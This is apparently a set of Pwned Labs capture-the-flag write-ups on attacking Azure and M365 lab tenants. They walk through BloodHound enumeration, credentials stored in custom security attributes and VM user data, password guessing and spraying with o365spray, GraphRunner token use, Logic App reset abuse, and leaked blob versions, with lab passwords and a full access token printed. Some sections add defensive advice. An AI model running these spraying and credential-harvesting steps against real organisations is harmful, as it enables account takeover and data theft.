2024-11-18T13:21:29+08:00 INF finished listing all service principals count=509
2024-11-18T13:21:29+08:00 INF finished listing all app role assignments
2024-11-18T13:21:29+08:00 INF finished listing all service principal owners
2024-11-18T13:21:29+08:00 INF collection completed duration=6.989774741s

shutting down gracefully, press ctrl+c again to force

Now that we have run azurehound and saved the data, we go back to the BloodHound page, click the cog in the top right hand corner and select Administration which will allow us to upload the file and follow the prompts.

The ingestion process with take a couple of minutes depending on the size of the organisation, and once this is complete we can select the Explore button on the top menu and then search for the user account and click on Object to display details.

If we right click on the object, we can select Add to Owned which will then mark the object with a skull to visually identify it as owned

There is value in marking objects as owned or high value targets as they can be used as part of Cypher queries that will help map out attack paths in larger environments.

If we click to Cypher we can then click the Folder Icon to the left and search using Pre-built searches, for example All Global Administrators for Azure

If we move our focus back to Jose, we can click on Roles in the Object Properties to the right and it will show us that he is a member of the It-HelpDesk Group, which has 4 roles assigned to it and the Update Manager role directly assigned to his account.

At this point it is important to talk about Edges which are the connections between the objects with the direction of the edge always indicates the direct of attack, or the direction of escalating privileges. For more details about Edges refer to the documentation

The one that is the most interesting is Attribute Assignment Reader as this allows reading security attribute keys and values

Time to find out which users have Security Attributes set. We will start PowerShell and then connect to the Microsoft Graph

PS> connect-mggraph
Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

If there is a permission to read custom security attributes, then it would only seem logical that they would be used in the environment. The following is the Microsoft Documentation on retrieving Custom Security attributes. Using this we will craft the following script to save having to look for them manually

$allusers = Get-MgUser -All

foreach ($user in $allusers) {
	$userAttributes = Get-MgUser -UserId $user.Id -Property "customSecurityAttributes"
	Write-Host "User: $($user.UserPrincipalName)"
	$userAttributes.CustomSecurityAttributes.AdditionalProperties | fl
	Write-Host "--------------"
}

This printed out a list of users and we found the following

User: archive@megabigtech.com

Key   : Helpdesk
Value : {[@odata.type, #microsoft.graph.customSecurityAttributeValue], [Password, D4taS3cur1ty!!]}

After finding this we login to the portal as Jose and look at the properties of the Archive User

One area that Bloodhound is lacking is with regards to Azure Role Assignments. Whilst we are logged into the portal and we look at the IT-Helpdesk group, we can see that we have an Assignment of Reader to the Security-PC

We look at the Security-PC and we find User-Data which contains credentials

# Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

We login as the security-user with the credentials that we found and we have the flag

Alternative Approach

Whilst BloodHound is a fantastic tool, it does have it shortcomings and this is why in enumeration it is important to ensure that all angles are covered and with Azure, that often requires a combination of Azure CLI, PowerShell and Microsoft Graph. Lets look at how we could have also found out about the Security-PC as well as our Role Assignment.

We Connect using PowerShell and one of the first things that we do after that is to look at what resources we have access to

PS> Connect-AzAccount
Please select the account you want to login with.

Retrieving subscriptions for the selection...

[Announcements]
With the new Azure PowerShell login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271909.

If you encounter any problem, please open an issue at: https://aka.ms/azpsissue

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory

PS> Get-AzResource

Name              : SECURITY-PC
ResourceGroupName : content-static-2
ResourceType      : Microsoft.Compute/virtualMachines
Location          : eastus
ResourceId        : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Compute
                    /virtualMachines/SECURITY-PC
Tags              :

With this we can see that we have access to the computer SECURITY-PC and we can then enumerate it and pass in the parameter flag for user data, which is returned in Base64

PS> Get-AzVM -ResourceGroupName content-static-2 -Name SECURITY-PC -UserData


ResourceGroupName : content-static-2
Id                : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Compute
/virtualMachines/SECURITY-PC
VmId              : 648c8a08-c90a-4a95-8922-4cbf28375bcb
Name              : SECURITY-PC
Type              : Microsoft.Compute/virtualMachines
Location          : eastus
LicenseType       : Windows_Client
Tags              : {}
HardwareProfile   : {VmSize}
NetworkProfile    : {NetworkInterfaces}
SecurityProfile   : {UefiSettings, SecurityType}
OSProfile         : {ComputerName, AdminUsername, WindowsConfiguration, Secrets, AllowExtensionOperations, RequireGuestProvisionSig
nal}
ProvisioningState : Succeeded
StorageProfile    : {ImageReference, OsDisk, DataDisks, DiskControllerType}
Identity          : {PrincipalId, TenantId, Type}
Zones             : {1}
UserData          : IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
xvZ2luCg==
TimeCreated       : 10/31/2023 15:24:18
Etag              : "16"

We can then decode that and we have found the user data and can continue as before

❯ echo -n 'IyBDcmVkZW50aWFsczogVXNlcjogc2VjdXJpdHktdXNlciB8IFBhc3N3b3JkOiBJbXAwc2VjMHNUIQpheiBzdG9yYWdlIGJsb2IgZG93bmxvYWQ
gLS1hY2NvdW50LW5hbWUgc2VjdXJpdHljb25maWdzIC0tY29udGFpbmVyLW5hbWUgc2VjdXJpdHktcGMgLS1uYW1lIGNvbmZpZy1sYXRlc3QueG1sIC0tYXV0aC1tb2RlIG
xvZ2luCg==' | base64 -d
# Credentials: User: security-user | Password: Imp0sec0sT!
az storage blob download --account-name securityconfigs --container-name security-pc --name config-latest.xml --auth-mode login

Defense

Azure user management improves on Active Directory by removing user text fields often misused for storing passwords;however, the preview of Azure custom security attributes reintroduces the risk of misuse if administrators use these fields to store sensitive information for convenience.

While these attributes are not directly accessible to regular users (unlike in Active Directory), it’s crucial to tightly control access to the Attribute Definition Reader and Attribute Assignment Reader roles. Avoid using custom attributes to store credentials or sensitive data.

Pwned Labs - Abuse Azure Logic App Automation

Sun, 17 Nov 2024 17:49:00 +0800

Abuse Azure Logic App Automation

Scenario

Our red team has been conducting an open-source intelligence gathering operation focused on our organization. During this process, they uncovered a potentially concerning social media post made by one of our newly appointed managers. The post appears to contain information that could be leveraged by malicious actors. You’ve been assigned to investigate this discovery further. Your task is to analyze the provided social media post and assess its potential for establishing an initial foothold in our systems. We need you to explore possible attack vectors, evaluate the risk to our organization, and determine how this information might be exploited by potential adversaries.

Learning Outcomes

Enumeration and exfiltration of information from M365
Abuse Azure Logic Apps automation

Real World Context

Modern organizations face significant security risks from two primary sources: employee oversharing on social media and hastily implemented internal automation processes. Social media platforms often become inadvertent sources of valuable information for threat actors, potentially facilitating initial access to organizational systems.

This risk is compounded by the increasing pressure to streamline operations through automation, leading to the rapid development of internal processes that may lack robust security measures. These internal automation projects, frequently treated as side tasks with limited resources and expertise, often fulfill basic functional requirements but fall short of the security standards applied to external-facing products. The combination of easily accessible information through social media and vulnerable internal automation creates a complex security landscape that malicious actors can exploit.

Attack

The attack starts with OSINT and a Social Media post from Ryan Lin, an employee of Mega Big Tech on LinkedIn expressing excitement about joining the company and also his impending Azure Exam and we can see the image shared below:

When looking at this image there is a lot of information that shouldn’t be shared on social medial, but what really catches the eye is the text in yellow about the use of username and password in the command line. If you look closely you can see that the image screenshot hasn’t fully obscured the bottom of the command. If we use a tool like Gimp, we can zoom in and we see the lower portion of the characters of the password as shown in the below image:

This is like a game of Hangman with some analysis of the shapes of the character. Let’s break them down:

Position 1: s, S Could be other characters like c,b or d; however, given the straight cut on the left edge, I will stick with s or S Position 2: u, a Position 3: p Position 4: e, c Position 5: r, l, t Position 6: R Position 7: y Position 8: u, a Position 9: n Position 10: . or ! or ?

When you factor in password complexity rules and that fact that most of us are lazy when it comes to trying to remember complex passwords, it leaves us with a reasonably short list that we could initially start with and we will save them to passwords.txt

superRyan.
superRyan!
superRyan?
SuperRyan.
SuperRyan!
SuperRyan?

Now that we have a Name and possible password combinations, time to generate a list of potential usernames, and for that we will use Username Anarchy passing in the first and last name and then piping it to VIM

./username-anarchy ryan lin | vim -

From within VIM then press Ctrl+v G $ A and type in ‘@megabigtech.com’ and Esc. Then :w usernames.txt to save the output.

Whilst it would be fair to assume that they are using M365, we can quickly validate that with a DNS query that confirms that they are using M365

❯ dig megabigtech.com +noall +answer MX
megabigtech.com.        3600    IN      MX      0 megabigtech-com.mail.protection.outlook.com.

Now that we have gathered all the required information we will determine with of the emails are valid using o365enum and we can see that ryan.lin@megabigtech.com as indicated by 1, is valid.

❯ python3 /opt/tools/o365enum/o365enum.py -u usernames.txt -m office.com
username,valid
ryan@megabigtech.com,0
ryanlin@megabigtech.com,0
ryan.lin@megabigtech.com,1
ryanl@megabigtech.com,0
r.lin@megabigtech.com,0
rlin@megabigtech.com,0
lryan@megabigtech.com,0
l.ryan@megabigtech.com,0
linr@megabigtech.com,0
lin@megabigtech.com,0
lin.r@megabigtech.com,0
lin.ryan@megabigtech.com,0
rl@megabigtech.com,0

We now doing password spraying and we have got a hit and we now have a valid username and password.

❯ python3 /opt/tools/o365spray/o365spray.py --spray -u ryan.lin@megabigtech.com -P passwords.txt --lockout 1 --domain megabigtech.com

            *** O365 Spray ***

>----------------------------------------<

   > version        :  3.0.4
   > domain         :  megabigtech.com
   > spray          :  True
   > username       :  ryan.lin@megabigtech.com
   > passfile       :  passwords.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > validate_module:  getuserrealm
   > spray_module   :  oauth2
   > rate           :  10 threads
   > poolsize       :  10000
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2024-11-17 16:25:55

>----------------------------------------<

[2024-11-17 16:25:55,833] info | Validating: megabigtech.com
[2024-11-17 16:25:56,829] info | [VALID] The following domain appears to be using O365: megabigtech.com
[2024-11-17 16:25:56,830] info | Running password spray against 1 users.
[2024-11-17 16:25:56,831] info | Password spraying the following passwords: ['superRyan.']
[INVALID] ryan.lin@megabigtech.com:superRyan.

[*] Next spray in: 0:00:00

[2024-11-17 16:26:57,626] info | Password spraying the following passwords: ['superRyan!']
[2024-11-17 16:26:58,975] info | [VALID] ryan.lin@megabigtech.com:superRyan! (Invalid resource name.)
[2024-11-17 16:26:58,977] info |

With valid credentials, we login via AZ CLI, but we have no access to resources

❯ az login -u ryan.lin@megabigtech.com -p 'superRyan!'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
The following tenants don't contain accessible subscriptions. Use `az login --allow-no-subscriptions` to have tenant level access.
2590ccef-687d-493b-ae8d-441cbab63a72 'Default Directory'
No subscriptions found for ryan.lin@megabigtech.com.

As we know that they are using M365, we will use GraphRunner to login and continue our enumeration. First we need to Import the Module and then authenticate

PS> Import-Module /opt/tools/GraphRunner/GraphRunner.ps1

  ________                     __      _______      by Beau Bullock (@dafthack)
 /_______/___________  ______ |  |____/_______\__ __  ____   ____   ___________
/___\  __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
\    \_\  \  | \// __ \|  |_/ |   Y  \    |   \  |  /   |  \   |  \  ___/|  | \/
 \________/__|  (______/__|   |___|__|____|___/____/|___|__/___|__/\___| >__|
                 Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

PS> Get-GraphTokens
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code SVVMYRAUZ to authenticate.
authorization_pending
Decoded JWT payload:

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/2590ccef-687d-493b-ae8d-441cbab63a72/
iat                 : 1731832452
nbf                 : 1731832452
exp                 : 1731836804
acct                : 0
acr                 : 1
aio                 : ATQAy/8YAAAAmipunBtmwNViINuIXHU5rAZ0LASFc3GGWl3LHcmIgPgDF1F5D8b5r0eIB/s7u+bG
amr                 : {pwd}
app_displayname     : Microsoft Office
appid               : d3590ed6-52b3-4102-aeff-aad2292ab01c
appidacr            : 0
idtyp               : user
ipaddr              : 112.204.167.47
name                : Ryan Lin
oid                 : 40677d7c-d381-4d9f-81cb-4985917ff2fa
platf               : 5
puid                : 10032003D064DB79
rh                  : 1.AU4A78yQJX1oO0mujUQcurY6cgMAAAAAAAAAwAAAAAAAAAAOAfVOAA.
scp                 : AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadW
                      rite DataLossPreventionPolicy.Evaluate Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.Al
                      l Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Mail
                      .Send Notes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrinterShare.ReadBasic.
                      All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tas
                      ks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWri
                      te Users.Read
sub                 : vlgyk0BfEgoeTKY65PuYLNqJNEdmd4JM8L1BA5Tcf2k
tenant_region_scope : EU
tid                 : 2590ccef-687d-493b-ae8d-441cbab63a72
unique_name         : ryan.lin@megabigtech.com
upn                 : ryan.lin@megabigtech.com
uti                 : TpB-S401REu7AYAPG6c7AA
ver                 : 1.0
wids                : {b79fbf4d-3ef9-4689-8143-76b194e85509}
xms_idrel           : 24 1
xms_tcdt            : 1671311182

[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
[!] Your access token is set to expire on: 11/17/2024 17:46:44

We can query the Users Mailbox using either Get-Inbox -Tokens $token -Userid ryan.lin@megabigtech or Invoke-SearchMailbox -Tokens $tokens -SearchTerm *, but we will spawn GraphRunnerGUI.html in a browser and then copy the access key

PS> $tokens.access_token
eyJ0eXAiOiJKV1QiLCJub25jZSI6IkZ6RzJJcGsyUEJrOTBZSkJEb1hwSFl1VFU3SXkzRWxYazlxdEVYdzJYcW8iLCJhbGciOiJSUzI1NiIsIng1dCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCIsImtpZCI6Inp4ZWcyV09OcFRrd041R21lWWN1VGR0QzZKMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWF0IjoxNzMxODMyNDUyLCJuYmYiOjE3MzE4MzI0NTIsImV4cCI6MTczMTgzNjgwNCwiYWNjdCI6MCwiYWNyIjoiMSIsImFpbyI6IkFUUUF5LzhZQUFBQW1pcHVuQnRtd05WaUlOdUlYSFU1ckFaMExBU0ZjM0dHV2wzTEhjbUlnUGdERjFGNUQ4YjVyMGVJQi9zN3UrYkciLCJhbXIiOlsicHdkIl0sImFwcF9kaXNwbGF5bmFtZSI6Ik1pY3Jvc29mdCBPZmZpY2UiLCJhcHBpZCI6ImQzNTkwZWQ2LTUyYjMtNDEwMi1hZWZmLWFhZDIyOTJhYjAxYyIsImFwcGlkYWNyIjoiMCIsImlkdHlwIjoidXNlciIsImlwYWRkciI6IjExMi4yMDQuMTY3LjQ3IiwibmFtZSI6IlJ5YW4gTGluIiwib2lkIjoiNDA2NzdkN2MtZDM4MS00ZDlmLTgxY2ItNDk4NTkxN2ZmMmZhIiwicGxhdGYiOiI1IiwicHVpZCI6IjEwMDMyMDAzRDA2NERCNzkiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFPQWZWT0FBLiIsInNjcCI6IkF1ZGl0TG9nLkNyZWF0ZSBBdWRpdExvZy5SZWFkLkFsbCBDYWxlbmRhci5SZWFkV3JpdGUgQ2FsZW5kYXJzLlJlYWQuU2hhcmVkIENhbGVuZGFycy5SZWFkV3JpdGUgQ29udGFjdHMuUmVhZFdyaXRlIERhdGFMb3NzUHJldmVudGlvblBvbGljeS5FdmFsdWF0ZSBEaXJlY3RvcnkuQWNjZXNzQXNVc2VyLkFsbCBEaXJlY3RvcnkuUmVhZC5BbGwgRmlsZXMuUmVhZCBGaWxlcy5SZWFkLkFsbCBGaWxlcy5SZWFkV3JpdGUuQWxsIEdyb3VwLlJlYWQuQWxsIEdyb3VwLlJlYWRXcml0ZS5BbGwgSW5mb3JtYXRpb25Qcm90ZWN0aW9uUG9saWN5LlJlYWQgTWFpbC5SZWFkV3JpdGUgTWFpbC5TZW5kIE5vdGVzLkNyZWF0ZSBPcmdhbml6YXRpb24uUmVhZC5BbGwgUGVvcGxlLlJlYWQgUGVvcGxlLlJlYWQuQWxsIFByaW50ZXIuUmVhZC5BbGwgUHJpbnRlclNoYXJlLlJlYWRCYXNpYy5BbGwgUHJpbnRKb2IuUmVhZFdyaXRlQmFzaWMgU2Vuc2l0aXZlSW5mb1R5cGUuRGV0ZWN0IFNlbnNpdGl2ZUluZm9UeXBlLlJlYWQuQWxsIFNlbnNpdGl2aXR5TGFiZWwuRXZhbHVhdGUgVGFza3MuUmVhZFdyaXRlIFRlYW1NZW1iZXIuUmVhZFdyaXRlLkFsbCBUZWFtc1RhYi5SZWFkV3JpdGVGb3JDaGF0IFVzZXIuUmVhZC5BbGwgVXNlci5SZWFkQmFzaWMuQWxsIFVzZXIuUmVhZFdyaXRlIFVzZXJzLlJlYWQiLCJzdWIiOiJ2bGd5azBCZkVnb2VUS1k2NVB1WUxOcUpORWRtZDRKTThMMUJBNVRjZjJrIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkVVIiwidGlkIjoiMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyIiwidW5pcXVlX25hbWUiOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1cG4iOiJyeWFuLmxpbkBtZWdhYmlndGVjaC5jb20iLCJ1dGkiOiJUcEItUzQwMVJFdTdBWUFQRzZjN0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXSwieG1zX2lkcmVsIjoiMjQgMSIsInhtc190Y2R0IjoxNjcxMzExMTgyfQ.nCOx4uMXe-WnsKgj-xGsh2jEJZXCfeJIRtyrWjmIT5blS71fEqiIJawFK_bIYqVqvABLyyoo5_6kkcS2xG2qkD5jPhFpYAWZGOTexDdcGsBQDTTYaGNHjxq_d2mUyuq8Twqj4VSPDmeAgdiOTBfrr6N0oJdFYfn4QtPinSVaz-VydQGjavAcSYi4DGZevTZzOtuQfetAd0Ox5Owsxn61piJOK16QbvZBV5_hVdOL2APs4yWhcNVFGWW9C2gXHHu0lWmrnn__ftBsNcqLGi3hwnCCMnPYZBg34AW92L8OPGx9T2HFo_CHu0Iart-IefHpMfB-IdBGu9HGPPeUHrdkcQ

We can then navigate down and see the emails and then click on them individually to open and read the contents

If we click on the email from about Managing Team Passwords, we can see that we have the ability to reset team passwords and the name of the IDAM Manager

There is a link in the email and when we click on that, we are presented with the Team Member Password Reset Guide

As we read through the document, it outlines the process to reset a users password using Microsoft Teams and then the new password will be sent to Discord at the username you provide

We navigate to https://myapplications.microsoft.com/ and sign in and then go to Teams and we will follow the instructions per the guide.

Now that we have reset the password, we can now login as Liana Howe

❯ az login -u liana.howe@megabigtech.com -p '.n0dHAb-QXY?'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "liana.howe@megabigtech.com",
      "type": "user"
    }
  }
]

❯ az resource list
[
  {
    "changedTime": "2024-10-14T00:46:25.028841+00:00",
    "createdTime": "2024-09-14T10:14:53.530238+00:00",
    "extendedLocation": null,
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-20/providers/Microsoft.Logic/workflows/teams-bot-password-reset",
    "identity": {
      "principalId": "d9181ce3-a106-4add-8c2c-4875a3803410",
      "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "kind": null,
    "location": "eastus",
    "managedBy": null,
    "name": "teams-bot-password-reset",
    "plan": null,
    "properties": null,
    "provisioningState": "Succeeded",
    "resourceGroup": "mbt-rg-20",
    "sku": null,
    "tags": {},
    "type": "Microsoft.Logic/workflows"
  }
]

We run the command az logic workflow list and this shows the content of the low code solution for automation within Azure. We can filter the output with grep to get the flag

Defense

There are several weak points in this scenario, but what could have prevented the exploitation chain, where the automation is designed to reset passwords only for direct reports, is for the Logic App to utilize the ‘Office 365 Users’ connector. This connector allows for retrieving manager information, checking to confirm whether the requester is indeed the manager of the user whose password is being reset. If this condition is not met, the automation should be configured to fail, thereby preventing unauthorized password resets.

For more details on implementing this check, refer to the Microsoft documentation on the ‘Get Manager (v2)’ operation: https://learn.microsoft.com/en-us/connectors/office365users/#get-manager-(v2)

Pwned Labs - Azure Blob Container to Initial Access

Sun, 04 Aug 2024 15:22:59 +0800

Pwned Labs - Azure Blob Container to Initial Access

Scenario

Mega Big Tech have adopted a hybrid cloud architecture and continues to use a local on-premise Active Directory domain, as well as the Azure cloud. They are wary of being targeted due to their importance in the tech world, and have asked your team to assess the security of their infrastructure, including cloud services. An interesting URL has been found in some public documentation, and you are tasked with assessing it.

Learning outcomes

Familiarity with the Azure CLI
Identification and enumeration of Azure Blob Container
Leverage blob previous version functionality to reveal secrets
Understand how this attack chain could have been prevented

Real World Context

There have been numerous examples over the years of data breaches resulting from misconfigured public Azure Blob storage (the Azure equivalent of an S3 bucket). While Azure offers robust security features, the responsibility to secure data in the cloud rests with the account holder.

Entry Point

http://dev.megabigtech.com/$web/index.html

Attack

We have a URL and when we visit that site, we are presented with the following landing page

If we look at the source code, we can see that this is reference Microsoft Azure Blob storage

We can confirm this by using curl to look at the header replacing the content from the above for the css file with index.html and also the original request and you can see that this has the same Content-MD5 hash

You could also just paste the URL into the browser and will be automatically redirected.

❯ curl -I 'http://dev.megabigtech.com/$web/index.html'
HTTP/1.1 200 OK
Content-Length: 782359
Content-Type: text/html
Content-MD5: JSe+sM+pXGAEFInxDgv4CA==
Last-Modified: Fri, 20 Oct 2023 20:08:20 GMT
ETag: 0x8DBD1A84E6455C0
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 8fd4c212-801e-00cb-692a-e64f6a000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Sun, 04 Aug 2024 04:58:04 GMT

❯ curl -I 'https://mbtwebsite.blob.core.windows.net/$web/index.html'
HTTP/1.1 200 OK
Content-Length: 782359
Content-Type: text/html
Content-MD5: JSe+sM+pXGAEFInxDgv4CA==
Last-Modified: Fri, 20 Oct 2023 20:08:20 GMT
ETag: 0x8DBD1A84E6455C0
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 6b17a5a3-d01e-00b4-202b-e680f1000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Sun, 04 Aug 2024 05:00:25 GMT

Lets breakdown the relevant components of the URL https://mbtwebsite.blob.core.windows.net/$web/index.html

mbtwebsite : The name of the Azure Storage Account blob.core.windows.net : Azure Blob Storage Service $web : The name of the container hosting the website and it is situated within the storage account index.html : The web page requested

We went to get more information on the container so we look at the REST API documentation https://learn.microsoft.com/en-us/rest/api/storageservices/operations-on-containers and will use this to enumerate further.

We start to enumerate and when we run the command curl 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list' we get a lot of results, so further reading the documentation we can add a delimiter which we will do using / as this will find directories.

❯ curl -s 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F' | xmllint --format -
="1.0" encoding="utf-8"?>
="https://mbtwebsite.blob.core.windows.net/$web">
  /
  
    
      index.html
      https://mbtwebsite.blob.core.windows.net/$web/index.html
      
        Fri, 20 Oct 2023 20:08:20 GMT
        0x8DBD1A84E6455C0
        782359
        text/html
        
        
        JSe+sM+pXGAEFInxDgv4CA==
        
        BlockBlob
        unlocked
      
    
    
      static/

This is nothing new as we saw that in the source code earlier, so we will continue to enumerate. Looking through the API requests for containers, there is an option to Restore Container, which indicates that there must be a way to take a snapshot and thus, there are versions. We look at the URI parameters for List Blobs and we can see that there is an include= that has this option.

❯ curl -s 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format -
="1.0" encoding="utf-8"?>

  InvalidQueryParameterValue
  Value for one of the query parameters specified in the request URI is invalid.
RequestId:57568bcb-301e-0077-7430-e699ab000000
Time:2024-08-04T05:41:28.2493935Z
  include
  versions
  Invalid query parameter value.

We get an error, but the documentation indicates that we are required to pass in the x-ms-version header and we pass in the command curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format - which returns a lot of results, so we do a first screening searching for Name.

❯ curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format - | grep Name
="https://mbtwebsite.blob.core.windows.net/" ContainerName="$web">
      index.html
      scripts-transfer.zip
      static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css
      static/application-76970cb8dc49a9af2f2bbc74a0ec0781ef24ead86c4f7b6273577d16c2f1506a.js.download
      static/common.js.download
      static/css
      static/iframe_api
      static/jquery-3.6.0.min.js.download
      static/js
      static/magnific-popup-2f7f85183333c84a42262b5f8a4f8251958809e29fa31c65bdee53c4603502cd.css
      static/magnific-popup.min-37130bcc3f8b01fe7473f8bb60a9aea35dc77c05eedc37fbd70135363feb6999.js.download
      static/player.js.download
      static/swiper-18be8aa3f032dded246a45a9da3dafdb3934e39e1f1b3b623c1722f3152b2788.css
      static/swiper.min-d36969d50f8c2fa3a00a68e55fe929e3af3fdd249cf33fd128b6a17a410e2c59.js.download
      static/util.js.download
      static/www-widgetapi.js.download

There is one interesting file which is scripts-transfer.zip so lets extract the details from that from our earlier query

    
      scripts-transfer.zip
      2024-03-29T20:55:40.8265593Z
      
        Fri, 29 Mar 2024 20:55:40 GMT
        Fri, 29 Mar 2024 20:55:40 GMT
        0x8DC503297FC8D79
        1503
        application/x-zip-compressed
        
        
        
        1qDsI5JcoEf80LrjeE21Yg==
        
        
        BlockBlob
        Hot
        true
        true

Going back to the documentation for Get Blob we can see that we are able to retrieve it with the VersionId.

❯ curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionid=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip

❯ unzip -l scripts-transfer.zip
Archive:  scripts-transfer.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1241  2024-03-29 20:54   entra_users.ps1
     1321  2024-03-29 20:53   stale_computer_accounts.ps1
---------                     -------
     2562                     2 files

Using Azure Storage Explorer

An alternative which is easier is to use Azure Storage explorer and connect directly to the container as it allows anonymous access

By clicking on the drop down menu we can also see any files that have been deleted

We then can right click on the file and download and continue.

Using either method to get the file, we unzip the file and inspect the content.s The first one, entra_users.ps1 contains hardcoded credentials.

# Install the required modules if not already installed
# Install-Module -Name Az -Force -Scope CurrentUser
# Install-Module -Name MSAL.PS -Force -Scope CurrentUser

# Import the required modules
Import-Module Az
Import-Module MSAL.PS

# Define your Azure AD credentials
$Username = "marcus@megabigtech.com"
$Password = "TheEagles12345!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)

# Authenticate to Azure AD using the specified credentials
Connect-AzAccount -Credential $Credential

# Define the Microsoft Graph API URL
$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"

# Retrieve the access token for Microsoft Graph
$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token

# Create a headers hashtable with the access token
$headers = @{
    "Authorization" = "Bearer $AccessToken"
    "ContentType"   = "application/json"
}

# Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell
$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers

# Output the response (formatted as JSON)
$response | ConvertTo-Json

The second file also contains hardcoded credentials, but this time it is for the admin account.

# Define the target domain and OU
$domain = "megabigtech.local"
$ouName = "Review"

# Set the threshold for stale computer accounts (adjust as needed)
$staleDays = 90  # Computers not modified in the last 90 days will be considered stale

# Hardcoded credentials
$securePassword = ConvertTo-SecureString "MegaBigTech123!" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("marcus_adm", $securePassword)

# Get the current date
$currentDate = Get-Date

# Calculate the date threshold for stale accounts
$thresholdDate = $currentDate.AddDays(-$staleDays)

